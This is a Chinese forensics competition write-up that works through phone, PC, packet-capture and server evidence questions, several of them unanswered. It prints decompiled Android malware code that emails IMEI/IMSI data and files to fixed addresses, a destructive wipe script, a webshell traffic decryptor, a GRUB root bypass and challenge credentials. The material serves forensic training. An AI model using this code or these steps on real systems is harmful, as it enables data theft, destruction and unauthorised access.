2024龙信杯
容器密码
MjAyNOm+meS/oeadrw==
手机
1.分析手机检材,请问此手机共通过adb连接过几个设备?[标准格式:3]

2
2.分析手机检材,机主参加考试的时间是什么时候?[标准格式:2024-06-17]

2024-08-23
3.分析手机检材,请问手机的蓝牙Mac地址是多少?[标准格式:12:12:12:12:12:12]

48:87:59:76:21:0f
4.分析手机检材,请问压缩包加密软件共加密过几份文件?[标准格式:3]


安装时间排序

com.zs.filecompress
去路线
F\手机检材.dd\media\0\FileCompress

6
5.分析手机检材,请问机主的另外一个155的手机号码是多少?[标准格式:15555000555]

在你提供的代码中,密码是硬编码在 ZipFile 对象创建时的。具体来说,密码字符串是 "1!8Da9Re5it2b3a."。
以下是相关代码片段:
new ZipFile(file, "1!8Da9Re5it2b3a.".toCharArray()).extractAll(str);
所以,密码是 1!8Da9Re5it2b3a.。
都解压了,看关键词

15599555555
6.分析手机检材,其手机存在一个加密容器,请问其容器密码是多少。(标准格式:abc123)

我手机里面有一个重要容器,密码是d7Avsd!Y]u}J8i(1bnDD@<-o
还有服务器密码:M6gNFerD8YYu3lq
d7Avsd!Y]u}J8i(1bnDD@<-o
7.分析手机检材,接上问,其容器中存在一份成员名单,嫌疑人曾经误触导致表格中的一个成员姓名被错误修改,请确认这个成员的原始正确姓名?[标准格式:张三]
加密容器是 受害人手机检材.tar/media_425/0/Download/data

因为题目描述修改了名字,那么可能是一个手机号对应了多个名字
import pandas as pd
file_path = 'L:/名单数据.xlsx'
df = pd.read_excel(file_path)
phone_to_name = {}
for name, phone, inviter, inviter_phone in zip(df['姓名'], df['手机号'], df['邀请人'], df['邀请人手机号']):
if phone not in phone_to_name:
phone_to_name[phone] = name
elif phone_to_name[phone] != name:
print(f"警告:手机号 {phone} 对应了多个不同的姓名:{phone_to_name[phone]} 和 {name}")
if inviter_phone not in phone_to_name:
phone_to_name[inviter_phone] = inviter
elif phone_to_name[inviter_phone] != inviter:
print(f"警告:手机号 {inviter_phone} 对应了多个不同的邀请人:{phone_to_name[inviter_phone]} 和 {inviter}")
#警告:手机号 15979503550 对应了多个不同的姓名:陆陆 和 陆俊梅
8.分析手机检材,接上题,请确认该成员的对应的最高代理人是谁(不考虑总部)?[标准格式:张三]
9.分析手机检材,请确认在该组织中,最高层级的层次是多少?(从总部开始算第一级)[标准格式:10]
10.分析手机检材,请问第二层级(从总部开始算第一级)人员最多的人是多少人?[标准格式:100]
11.分析手机检材,机主共开启了几款APP应用分身?[标准格式:3]

2
12.分析手机检材,请问机主现在安装了几款即时通讯软件(微博除外)?[标准格式:1]
默往、微信、MChat
13.分析手机检材,请问勒索机主的账号是多少(非微信ID)?[标准格式:AB123CD45]

1836042664454131712
14.分析手机检材,接上问,请问机主通过此应用共删除了多少条聊天记录 ?[标准格式:2]

1
15.分析手机检材,请问会盗取手机信息的APP应用包名是什么?[标准格式:com.lx.tt]

com.lxlxlx.luoliao
16.接上题,请问该软件作者预留的座机号码是多少?[标准格式:40088855555]
/* renamed from: a */
public static /* synthetic */ void m12a(MainActivity mainActivity) {
if (mainActivity == null) {
throw null;
}
try {
String m200a = EnumC0257a.INSTANCE.m200a();
String absolutePath = Environment.getExternalStorageDirectory().getAbsolutePath();
FileInputStream fileInputStream = new FileInputStream(new File(absolutePath + new String(C0251a.m201a(mainActivity.f1244s0.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes()))));
FileOutputStream fileOutputStream = new FileOutputStream(new File(absolutePath + new String(C0251a.m201a(mainActivity.f1248u0.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes()))));
EnumC0257a.INSTANCE.m199a(fileInputStream, fileOutputStream);
fileOutputStream.write(m200a.getBytes());
fileInputStream.close();
fileOutputStream.close();
File file = new File(absolutePath + new String(C0251a.m201a(mainActivity.f1244s0.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));
if (file.exists() && file.isFile()) {
file.delete();
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e2) {
e2.printStackTrace();
} catch (Exception e3) {
e3.printStackTrace();
}
}
/* renamed from: b */
public static /* synthetic */ void m7b(MainActivity mainActivity) {
if (mainActivity == null) {
throw null;
}
try {
ArrayList arrayList = new ArrayList();
arrayList.add("13024169815@189.cn");
File file = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + new String(C0251a.m201a(mainActivity.f1248u0.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));
ArrayList arrayList2 = new ArrayList();
arrayList2.add(file);
arrayList.add(new String(C0251a.m201a(mainActivity.f1250v0.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy年MM月dd日 HH:mm:ss");
Date date = new Date(System.currentTimeMillis());
String str = simpleDateFormat.format(date) + "imei:" + mainActivity.f1229l.f1267b + "imsi:" + mainActivity.f1229l.f1269d;
C0258a c0258a = new C0258a();
try {
c0258a.m198a();
c0258a.m197a(str, "见附件", arrayList, arrayList2);
} catch (Exception unused) {
}
} catch (Exception e) {
e.printStackTrace();
}
}
疑似密文
E10ADC3949BA59ABBE56E057F20F883E

往里面翻就是AES解密
public class C0251a {
/* renamed from: a */
public static byte[] f957a = new byte[16];
/* renamed from: a */
public static byte[] m201a(byte[] bArr, byte[] bArr2) {
if (bArr == null || bArr.length == 0 || bArr2 == null || bArr2.length < 16 || f957a.length < 16 || "AES/CBC/PKCS5Padding" == 0) {
throw new InvalidParameterException();
}
String substring = new String(bArr2).substring(0, 16);
byte[] decode = Base64.decode(bArr, 0);
IvParameterSpec ivParameterSpec = new IvParameterSpec(substring.getBytes());
SecretKeySpec secretKeySpec = new SecretKeySpec(bArr2, "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, secretKeySpec, ivParameterSpec);
return cipher.doFinal(decode);
}
}
写解密脚本
import java.util.Base64; // 如果是在标准Java环境中运行
import java.io.File;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.InvalidParameterException;
public class jiemi {
private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
public static void main(String[] args) {
try {
String encryptedString = "4SLYY9lHJ2SnY4PTeoNuPQ=="; // 示例加密字符串
String key = "E10ADC3949BA59ABBE56E057F20F883E"; // AES密钥,必须为16位
String decryptedString = decrypt(encryptedString, key);
System.out.println("Decrypted string: " + decryptedString);
} catch (Exception e) {
e.printStackTrace();
}
}
public static String decrypt(String base64EncryptedString, String key) throws Exception {
byte[] encryptedData = Base64.getDecoder().decode(base64EncryptedString);
String iv = key.substring(0, 16); // 使用密钥的前16个字符作为初始化向量
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv.getBytes());
SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), ALGORITHM);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] decryptedData = cipher.doFinal(encryptedData);
return new String(decryptedData);
}
}
密文为:

4SLYY9lHJ2SnY4PTeoNuPQ==
QImJWFMqlVTJBaO+wCQwJA==
sdEHP/sn3FM3JsJpW0Pjf8fFuvE=
sdEHP/sn3FM3JsJpW0Pjf8kVHSloexlf5yCiIlbyZ4Y=
iSkrO/5aOpJ6AAFQNl4t/9k013k52gh6U+1240De1DEVJaQJ7ByaJExZmcgdXkz92RANgWCqZ/T6prig6uqOFA==
解密为
/forensic.xml
/forensical.xml
1304567895@gmail.com
软件有问题,请联系boss电话:40085222666
40085222666
17.接上题,恶意程序偷取数据的收件邮箱地址的gmail邮箱是多少?[标准格式:lx@gmail.com]
/* renamed from: b */
public static /* synthetic */ void m7b(MainActivity mainActivity) {
if (mainActivity == null) {
throw null;
}
try {
ArrayList arrayList = new ArrayList();
arrayList.add("13024169815@189.cn");
File file = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + new String(C0251a.m201a(mainActivity.f1248u0.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));
ArrayList arrayList2 = new ArrayList();
arrayList2.add(file);
arrayList.add(new String(C0251a.m201a(mainActivity.f1250v0.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy年MM月dd日 HH:mm:ss");
Date date = new Date(System.currentTimeMillis());
String str = simpleDateFormat.format(date) + "imei:" + mainActivity.f1229l.f1267b + "imsi:" + mainActivity.f1229l.f1269d;
C0258a c0258a = new C0258a();
try {
c0258a.m198a();
c0258a.m197a(str, "见附件", arrayList, arrayList2);
} catch (Exception unused) {
}
} catch (Exception e) {
e.printStackTrace();
}
}
这个方法的主要功能是:
- 检查传入的
MainActivity对象是否为null。 - 创建一个文件路径,路径中包含加密后的字符串。
- 准备邮件的收件人列表和附件列表。
- 格式化当前时间,并拼接设备的
imei和imsi信息。 - 使用
C0258a类发送一封带有附件的邮件。 - 捕获并处理任何可能发生的异常
1304567895@gmail.com
18.接上题,恶意程序偷取数据的发件邮箱地址是多少?[标准格式:lx@gmail.com]
发邮件一般会用到smtp,所以直接搜smtp,或者搜这个秘钥


temp1234@gmail.com
19.接上题,恶意程序偷取数据的发件邮箱密码是多少?[标准格式:abc123]
qwer123456
20.接上题,恶意程序定义收发件的地址函数是什么?[标准格式:a]

b
计算机
1.分析计算机检材,嫌疑人在将其侵公数据出售前在Pycharm中进行了AES加密,用于加密的key是多少?[标准格式:1A23456ABCD]
使用仿真软件对计算机检材进行仿真,打开桌面Pycharm 软件,发现encrypted.py 脚本,定位key值
2.分析计算机检材,身份证为"371963195112051505"这个人的手机号码是多少?[标准格式:13013524420]
3.分析计算机检材,对解密后的身份证数据列进行单列去重操作,重复的身份证号码数量是多少?(身份证不甄别真假)[标准格式:100]
4.分析计算机检材,接上题,根据身份证号码(第17位)分析性别,男性的数据是多少条?[标准格式:100]
5.分析计算机检材,接上题,对解密后的数据文件进行分析,甄别身份证号码性别值与标识性别不一致的数量是多少?[标准格式:100]
6.分析计算机检材,计算机中存在的“VPN”工具版本是多少?[标准格式:1.1]
7.分析计算机检材,计算机中存在的“VPN”节点订阅地址是什么?[标准格式:http://xxx.xx/x/xxx]
8.分析计算机检材,eduwcry压缩包文件的解压密码是什么?[标准格式:abcabc]
9.分析计算机检材,接上题,请问恶意程序释放压缩包的md5值是多少。[标准格式:全小写]
10.分析计算机检材,接上题,请问恶意程序记录的洋葱浏览器下载地址是多少?[标准格式:http://xxx.xxx/xxx/xxx.zip]
11.分析计算机检材,接上题,请问恶意程序解密了t.wnry后该dll的md5值是多少。[标准格式:全小写]
12.分析计算机检材,接上题,恶意程序运行起来后第一个循环调用了几次taskkill.exe。[标准格式:2]
13.分析计算机检材,接上题,请问@WanaDecryptor@.exe.lnk文件是通过什么函数创建的。[标准格式:Aabcdef]
14.分析计算机检材,接上题,恶意程序修改系统桌面壁纸是在哪个函数实现的[标准格式:sub_xxx]
15.分析计算机检材,VeraCrypt加密容器的密码是什么?[标准格式:abc]
16.分析计算机检材,其中存在一个苹果手机备份包,手机备份包的密码是什么?[标准格式:12345]
17.分析计算机检材,接上题,机主实际篡改多少条微信数据?[标准格式:1]
18.分析计算机检材,接上题,机主共存款了多少金额?[标准格式:10万]
19.分析计算机检材,在手机模拟器中勒索apk软件的sha256值是什么?[标准格式:全小写]
20.分析计算机检材,接上题,请问勒索apk软件的解锁密码是什么?[标准格式:qwer.com]
流量包
1.分析流量包检材,给出管理员对web环境进行管理的工具名。(标准格式:小皮)

找DNS
宝塔面板
2.分析流量包检材,给出攻击者的ip地址是多少。(标准格式:127.0.0.1)

http&&ip.addr == 192.168.209.135
目录扫描中135向147发送get请求包

192.168.209.135
3.分析流量包检材,给出攻击者爆破出的网站非管理员用户名是。(标准格式:admin)
http.response_for.uri == "http://192.168.209.147/wp-login.php"
过滤所有返回路径为”login.php”的uri 包, 导出并提取login_error 行内容


摁 下,批量看
luna 和 saber 被爆破出来了
在post /wp-admin/admin-ajax.php包中发现admin用户为saber


saber
4.分析流量包检材,攻击者进行目录扫描得到的具有后门的页面url路径为。(标准格式:/abc.html)
流量中404的返回包长度为548, 长度不一致的为up_load.html 和up_load.php

/up_load.html
5.分析流量包检材,攻击者通过修改请求包中的哪个字段导致恶意文件成功上传。(标准格式:test-type)】
发现加密流量

往前找,找到cont.php 第一次出现的位置, 同时发现up_load.php
发现upload.php为协商秘钥
上传失败的1:
上传失败的2:
上传成功的
区别是更改了
Content-Type: image/jpeg
Content-Type
6.分析流量包检材,攻击者上传成功的恶意文件, 该文件的临时存放路径是。(标准格式:/abc/edf)
在cont.php 上传的返回包中包含临时存放位置

/tmp/php7Ndiwg
7.分析流量包检材,服务器php配置文件的存放位置(标准格式:/www/sev/php.ini)
过滤所有cont.php 的包,然后进行aes解密
import base64
import re
from Crypto.Cipher import AES
from scapy.all import *
from Crypto.Util.Padding import unpad
import json
def aes_decrypt(ciphertext, key, iv):
ciphertext = base64.b64decode(ciphertext)
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)
return decrypted.decode('utf-8')
def dict_b64decode(data):
for k, v in data.items():
if is_base64(data[k]):
value = base64.b64decode(data[k])
try:
newdata = json.loads(value)
dict_b64decode(newdata)
except:
# k=k.decode('utf-8')
value=value.decode('utf-8')
print("服务器回应键值对为:",k, value)
def behinder_decode(msg_type, data, key):
res = aes_decrypt(data, key.encode(), b'\x00'*16)
if msg_type == 'response':
pass
jsondata = json.loads(res)
dict_b64decode((jsondata))
# print("服务器回应为:",base64.b64decode((jsondata['status'])), base64.b64decode(jsondata['msg']))
else:
b64str = re.search(r"assert\|eval\(base64_decode\('([^']+)'\)", res).group(1)
d64str = base64.b64decode(b64str).decode()
cmds = re.findall(r'cmd="(.*?)"', d64str)
if cmds:
cmd=base64.b64decode(cmds[0])
cmd=cmd.decode('utf-8')
print("攻击者执行命令为:",cmd)
def is_base64(s):
if isinstance(s, str):
pattern = re.compile(r'^[A-Za-z0-9+/]*={0,2}$')
if not pattern.match(s):
return False
if len(s) % 4 != 0:
return False
try:
decoded = base64.b64decode(s, validate=True)
return True
except Exception:
return False
return False
def main(file_path,decrypt_key):
raw_result = {}
load_layer('http')
pkts = sniff(offline=file_path,session=TCPSession)
for pkt in pkts:
type_http = ''
conti = False
try:
try:
message = pkt["HTTP"]['HTTPRequest']['Raw'].load.decode('latin1')
type_http = 'requests'
conti = True
except IndexError as identifier:
pass
if not conti:
try:
message = pkt["HTTP"]['HTTPResponse']['Raw'].load.decode('latin1')
type_http = 'response'
except IndexError as identifier:
continue
tag = str(pkt['IP'].ack)
if tag not in raw_result.keys():
raw_result[tag] = []
raw_result[tag].append(type_http)
raw_result[tag].append(message)
else:
raw_result[tag][1] += message
except IndexError as identifier:
continue
print("长度为:",len(raw_result))
for _, value in raw_result.items():
if is_base64(value[1]):
behinder_decode(value[0], value[1], decrypt_key)
if __name__ == "__main__":
decrypt_key = 'e45e329feb5d925b'
file_path = './流量包检材.pcapng'
print('文件路径:',file_path,' 秘钥为:',decrypt_key)
main(file_path,decrypt_key)
返回的phpinfo:

/www/server/php/82/etc/php.ini
8.分析流量包检材,被攻击的web环境其数据库密码是。(标准格式:qwer1234)

X847Z3QzF1a6MHjR
9.分析流量包检材,服务器管理存放临时登录密码的位置。(标准格式:/tmp/pass)

tmp/tmppass
10.分析流量包检材,黑客获取的高权限主机的登录密码。(标准格式:qwer1234)
passwd!@#
服务器
该服务器做了登录密码校验配置,如果没有拿到服务器的密码而直接仿真服务器,输入密码进入系统后,服务器会将部分数据给自动删除
仿真进入服务器会自动删除文件,所以我们需要先静态分析检材,查找删除脚本

/etc/profile.d 目录是 Linux 系统中用来存放 shell 脚本文件的一个特殊目录。这些脚本文件通常用于设置环境变量或执行其他系统级别的初始化任务,它们会在用户登录时由 shell 自动读取和执行。

#!/usr/bin/env bash
OLD=""
if [ -f /etc/.cadpc ]; then
OLD="$(cat /etc/.cadpc)"
fi
CURRENT="$(cat /etc/shadow | sha256sum | awk -F ' ' '{print $1}')"
if [ "$OLD" != "$CURRENT" ]; then
echo "Illegal login detected!!!"
rm -rf /etc/profile.d/check-system.sh
docker rm -f $(docker ps -aq)
rm -rf /opt/proxy/
rm -rf /opt/install.sh
rm -rf /root/ntp-tunnel
rm -rf /root/sock5-tunnel
rm -rf /home/*
rm -rf /root/.docker/config.json
docker image prune -af
cat /dev/null > ~/.bash_history
echo "" > ~/.bashrc
hostnamectl set-hostname localhost
history -c
fi
检查是否存在文件 /etc/.cadpc

密码的sha256是
4e5f8b3141fba19274789df7cfca39d96dd60b76e9d843c41ec37bbd366fd7e3
仿真服务器时选择保持原有密码,进入系统后按e进入内核编辑界面。

找到linux16开头的行,在这行的末尾添加init=/bin/bash
按下Ctrl + X启动系统
mount -o remount,rw /
这时,进去把那个检查文件删了
passwd root # 修改root用户的密码,如果需要
touch /.autorelabel # 如果SELinux被启用,创建这个文件来重新计算文件的安全上下文
exec /sbin/init
1.分析服务器检材,服务器会做登录密码验证,该登录验证文件位置在?[标准格式:/xxx/xxx/xxx.xxx]
/etc/profile.d/check-system.sh
2.分析服务器检材,服务器ssh端口是多少?[标准格式:1234]

12320
3.分析服务器检材,服务器docker内有多少个镜像。[标准格式:100]

7
4.分析服务器检材,服务器内sqlserver默认账号的密码是?[标准格式:xxx]
docker inspect sqlserver2019

<i7uFtnkTv8>
5.分析服务器检材,服务器内sqlserver存放了阿里云存储下载地址,该下载地址是?[标准格式:https://xxx]
查看容器IP

或者直接解析:

6.分析服务器检材,服务器内sqlserver内“cmf_user_action_log”表,表内存在的用户操作日志,一共操作次数是多少?[标准格式:100]

筛选user_id 存在 cmf_user 表内的数据并计算总的counts 操作次数
SELECT sum(cmf_user_action_log.[counts]) FROM cmf_user_action_log WHERE user_id IN ( SELECT id FROM cmf_user )
7.分析服务器检材,该服务器正在使用的数据库的持久化目录是什么?[标准格式:/xxx/xxx]
find / -name "*.php" 2>/dev/null


// 数据库名
'database' => 'lok1',
// 用户名
'username' => 'mongoadmin',
// 密码
'password' => 'RvbwSG3dqgZQ',
// 端口
'hostport' => '27017',
查看网站php,发现该网站正在使用的是mongodb
docker inspect mongo

Source: "/data/mongo" —— 宿主机上的路径,将被挂载到容器内。Destination: "/data/db" —— 容器内的路径,该路径将挂载到宿主机上的Source路径。
/data/mongo
8.分析服务器检材,该网站后台正在使用的数据库有多少个集合?[标准格式:100]
思路1用密码连接:
思路2直接分析数据库:

13
9.分析服务器检材,该网站的后台登录地址是?[标准格式:/xxx/xxx.xxx 全小写,不加域名]

备忘录提示更换数据库了。
mongo转mysql
root123456
mongo的导出
\
导入mysql
改配置文件

连接上了



/appmanager/common/login.shtml
10.分析服务器检材,该网站后台使用的管理员加密算法是?[标准格式:全大写]

BCRYPT
11.分析服务器检材,该网站最早使用超级管理员进行删除管理员操作的IP地址是?[标准格式:x.x.x.x]

menu_id是26


+8小时
2020 19:47:18
12.分析服务器检材,该网站后台上传过sha256值为“b204ad1f475c7716daab9afb5f8d61815c508f2a2b1539bc1f42fe2f212b30d1”的压缩包文件,该文件内的账单交易订单号是多少?[标准格式:123456]



MTj02

base64转图片
20240321000000005443369778283185
13.分析服务器检材,该网站存在网站数据库备份功能,该功能的接口地址是?[标准格式:/xxx/xxx 全小写,不加域名]

/appmanager/databackup
14.分析服务器检材,该网站存放银行卡信息数据表中,其中信息数量前十的公司对应旗下visa银行卡一共有多少金额?[标准格式:100.00]
通过银行卡号可以判断4 开头的是visa银行卡
SELECT SUM(CAST(money AS DECIMAL(10,2))) FROM `app_card` WHERE company
IN (
SELECT company FROM (
SELECT company,COUNT(company) AS ct FROM `app_card` GROUP BY company
ORDER BY ct DESC LIMIT 10 ) AS comp
) AND card_no LIKE '4%'
21701599.63
15.分析服务器检材,该网站在2023年二月一共获取了多少条通信记录?[标准标准格式:100]
SELECT count(*) FROM `app_mobile` WHERE addtime > 1675180800 AND addtime < 1677600000

2879
16.分析服务器检材,该网站的一条管理员信息存在数据篡改,请分析是哪个管理员信息遭到篡改,该管理员用户名是?[标准格式:ABCDE]


浙公网安备 33010602011771号